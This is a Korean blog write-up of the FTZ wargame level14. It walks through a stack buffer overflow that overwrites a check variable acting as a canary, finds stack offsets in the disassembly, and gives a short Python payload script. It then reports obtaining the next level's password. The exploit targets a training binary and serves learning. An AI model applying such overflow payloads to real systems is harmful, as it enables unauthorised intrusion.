Wargame/FTZ
[FTZ]level14
앞으로 얼마나 더 어려워질까요?
기대와 걱정을 안고
시작해 볼까요?
이전과 비슷하고 특별한 것은 없어보이네요.
이 문제에서는 check변수가
Stack Guard 역활을 하고 있구요.
카나리는 이름도 예쁘네요.
광산의 카나리아에서 가져온 단어지만
이런부분을 연구하시는 분들은
센스가 넘치는 것 같습니다.
옆 길로 새기 전에 여기까지..
main+17에 보이는
[ebp-56]이 buf의 주소네요.
main+29에 보이는
[ebp-16]이 check의 값이구요.
이제 그림을 그려볼까요?
이 그림대로라면?
buf[40]+0xdeadbeef
만 넣어도 되겠네요?
공격코드를 만들어볼까요?
이제 공격을 해볼까요?
/tmp/14_exploit.py
import os
import struct
p32 = lambda x:struct.pack('<L', x)
canary = 0xdeadbeef
payload = "A"*40
payload += p32(canary)
print payload
공격이 성공적으로 되었습니다.
my-pass를 입력하니
Level15 Password is "guess what".
'Wargame > FTZ' 카테고리의 다른 글
[FTZ]level16 (0) | 2019.09.08 |
---|---|
[FTZ]level15 (0) | 2019.09.08 |
[FTZ]level13 (0) | 2019.09.07 |
[FTZ]level12 (0) | 2019.09.07 |
[FTZ]level11 (0) | 2019.09.07 |
댓글